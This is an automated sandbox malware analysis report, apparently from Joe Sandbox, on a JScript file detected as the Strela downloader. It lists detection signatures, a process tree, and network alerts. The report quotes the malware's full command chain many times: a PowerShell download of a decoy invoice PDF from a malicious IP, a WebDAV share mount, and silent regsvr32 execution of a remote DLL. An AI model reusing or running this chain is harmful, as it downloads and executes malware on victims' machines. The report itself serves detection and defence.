Edit tour

Windows Analysis Report
2937924646314313784.js

Overview

General Information

Sample name:	2937924646314313784.js
Analysis ID:	1588520
MD5:	dfd8402a89f3caf38e1b14731b2d2f82
SHA1:	374ed46029669a5d7d9c61677ebd20cedf2713a0
SHA256:	c6ee09beccd28eb087fbae0a8a727e57c583eaedc1d1b2addb03823a06cf9552
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Desusertion Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6260 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2937924646314313784.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5972 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6516 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2520 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 3556 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5344 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 5336 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1640,i,2171901814565979795,15215891352150739102,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 1692 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 2552 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 316 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6260	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5972, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2520, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5972, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2520, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2937924646314313784.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2937924646314313784.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2937924646314313784.js", ProcessId: 6260, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Desusertion Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DesusertionIp: 193.143.1.205, DesusertionIsIpv6: false, DesusertionPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 2552, Protocol: tcp, SourceIp: 192.168.2.9, SourceIsIpv6: false, SourcePort: 49771

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2937924646314313784.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6260, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll, ProcessId: 5972, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2937924646314313784.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6260, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll, ProcessId: 5972, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2937924646314313784.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6260, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll, ProcessId: 5972, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2937924646314313784.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6260, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll, ProcessId: 5972, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2937924646314313784.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6260, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll, ProcessId: 5972, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2937924646314313784.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2937924646314313784.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2937924646314313784.js", ProcessId: 6260, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5972, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2520, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1692, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2552, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 316, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1692, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2552, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2937924646314313784.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6260, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll, ProcessId: 5972, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:01:17.606588+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.9	49757	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:01:20.018268+0100	1810005	1	Potentially Bad Traffic	192.168.2.9	49771	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:01:17.606588+0100	1810000	2	Potentially Bad Traffic	192.168.2.9	49757	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 2937924646314313784.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 2937924646314313784.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.9:49771 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.9:49757 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:01:17 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49771
